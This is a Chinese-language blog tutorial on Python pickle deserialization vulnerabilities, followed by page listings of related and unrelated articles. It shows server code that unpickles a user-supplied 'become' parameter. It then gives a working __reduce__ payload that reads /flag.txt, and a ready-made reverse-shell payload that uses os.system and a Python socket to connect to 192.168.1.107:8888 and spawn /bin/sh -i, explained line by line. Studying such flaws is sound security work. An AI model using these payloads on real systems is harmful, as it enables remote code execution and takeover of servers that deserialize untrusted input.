原理
在网页源码中如果出现将用户输入数据进行反序列化当成参数输出时,出现漏洞,可造成任
意命令执行
例如网页源码
try:
       become = self.get_argument('become')
       p = pickle.loads(urllib.unquote(become))
       return self.render('form.html', res=p, member=1)
except:
        return self.render('form.html', res='This is Black Technology!', member=0)
过程:用户传入become参数,服务器将become参数url解码再反序列化并将结果给p,将p当
作一个参数给res,并且form.html有向客户端显示res的部分

那么攻击方式就是修改可控的become参数,当序列化以及反序列化的过程中中碰到一无所知的扩展类型( python2,这里指的就是新式类)的时候,可以通过类中定义的 __reduce__ 方法来告知如何进行序列化或者反序列化。
也就是说我们,只要在新式类中定义一个__reduce__ 方法,我们就能在序列化的使用让这个类根据我们在 __reduce__ 中指定的方式进行序列化。

Demo:
①首先用python得到攻击所需的payload
class payload(object):
    def __reduce__(self):
        return (eval,("open('/flag.txt','r').read()",))  //表示用eval的方式序列化后面内容
a=pickle.dumps(payload())  //得到指定方法序列化后的pickle数据
print(urllib.quote(a))     //得到url编码后的payload

②接下来服务端收到payload后
p = pickle.loads(urllib.unquote(a)) //先url解码再用指定方法反序列化内容,结果执行了代码
return self.render('form.html', res=p, member=1)  //这时p已经是执行代码后的内容了

拓展:
既然能够任意执行代码,那么就可以反弹shell,以下为payload代码
import pickle
import urllib
import os

class exp(object):
   def __reduce__(self):
       s="""python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.107",8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' """
       return os.system, (s,)  //指明用os.system方法序列化s字符串内容

poc = pickle.dumps(exp()) //按照指定方式序列化字符串
print(urllib.quote(poc))

详细的看下字符串内容
python -c '执行命令'
执行命令
Import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.1.107",8888));
os.dup2(s.fileno(),0);     //表示所有的输入内容都传送给socket
os.dup2(s.fileno(),1);    //表示所有的输出内容都传送给socket
os.dup2(s.fileno(),2);   //表示所有的错误输出都传送给socket
p=subprocess.call(["/bin/sh","-i"]);   //使用sh -i 使shell可交互

python反序列化漏洞的更多相关文章

  1. Python 反序列化漏洞学习笔记

    参考文章 一篇文章带你理解漏洞之 Python 反序列化漏洞 Python Pickle/CPickle 反序列化漏洞 Python反序列化安全问题 pickle反序列化初探 前言 上面看完,请忽略下 ...

  2. 浅谈python反序列化漏洞

    最近看到p神一篇讲python反序列化的文章,结合redis未授权访问组合漏洞,感觉在flask和redis的构架中比较常见,便记录下来. p神原文:https://www.leavesongs.co ...

  3. Python的反序列化漏洞

    最近准备研究一下反序列化漏洞,但是Java代码看不懂,所以先找一个python的看起,毕竟这种漏洞在python.php中一样存在,等研究明白了基本原理后去看java的反序列化漏洞. python反序 ...

  4. python反序列化研究学习

    零.补充: 补充于2018-02-08,之前研究时候有一个疑惑,python的序列化成二进制,打web服务怎么传这个二进制对象呢,今天请教了身边大神(传说的九零后黑客代表),可以使用base64传输. ...

  5. python常见漏洞总结

    总结一下python里面常见安全问题,文章大部分内容来自MisakiKata师傅的python_code_audit项目,对原文进行了一些修改,后续会使用编写了规则对代码里面是否用到这些危险函数进行相 ...

  6. Python的一些高级特性以及反序列化漏洞

    0x01 简述 文章主要记录一下python高级特性以及安全相关的问题 python作为脚本语言,其作为高级语言是由c语言开发的,关于python的编译和链接可以看向这里https://github. ...

  7. Java反序列化漏洞通用利用分析

    原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...

  8. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  9. java反序列化漏洞实战

    准备: 域名一个,用于增加NS解析,判断是否存在反序列化漏洞. 公网IP服务器一台,用于搭建DNS代理,抓包判断. dnschef,DNS代理 ysoserial.jar生成payload. 简单的p ...

随机推荐

  1. selenium 参数设置-window.navigator.webdriver

    selenium 参数设置 selenium启动chrome基本上与真实环境类似,但有一些变量还是不一样,需要注意. 有些网站通过这些参数识别爬虫. window.navigator.webdrive ...

  2. java代理模式的实现方法

    package com.sample.sping_ireport.cglib; import java.lang.reflect.InvocationHandler; import java.lang ...

  3. 第1节 Scala基础语法:14、15、list集合练习

    package cn.itcast.collect /** *作业题 */object ListTest { def main(args: Array[String]): Unit = { //创建一 ...

  4. 监听EditView中的文本改变事件详解--转

    转自: http://blog.csdn.net/zoeice/article/details/7700529 android中的编辑框EditText也比较常用,那比如在搜索框中,没输入一个字,下面 ...

  5. linux安装jdk并设置环境变量(看这一篇文章即可)

    1.查看linux位数 查看linux是32位还是64位,影响需要下载JDK的版本   系统位数 jdk位数 x86(32位) 32位 x86_64(64位) 32位 64位 在linux命令输入: ...

  6. isEqual判断相等性

    1.isEqual方法用来判断两个比较者的内存地址是否一样.为了细分,有isEqualToString.isEqualToNumber.isEuqalToValue等,使用时一定要精确使用,比如虽然N ...

  7. 网络协议-webService协议

    webservice 协议 Web Service使用的是 SOAP (Simple Object Access Protocol)协议soap协议只是用来封装消息用的.封装后的消息你可以通过各种已有 ...

  8. 夯实Java基础(十六)——枚举类的使用

    1.枚举类简介 枚举是仅容许特定数据类型值的有限集合.例如我们平时生活中星期一到星期日这七天就是一个特定的有限集合,一年四季的春夏秋冬也同样是的,它们都是枚举.枚举和我们数学中的集合非常相似,如果我们 ...

  9. android:showAsAction

    在res/layout/menu文件夹下,放置login.xml: <menu xmlns:android="http://schemas.android.com/apk/res/an ...

  10. BOM--location对象、history对象

    location对象 location 是最有用的BOM 对象之一,它提供了与当前窗口中加载的文档有关的信息,还提供了一些导航功能. 事实上,location 对象是很特别的一个对象,因为它既是win ...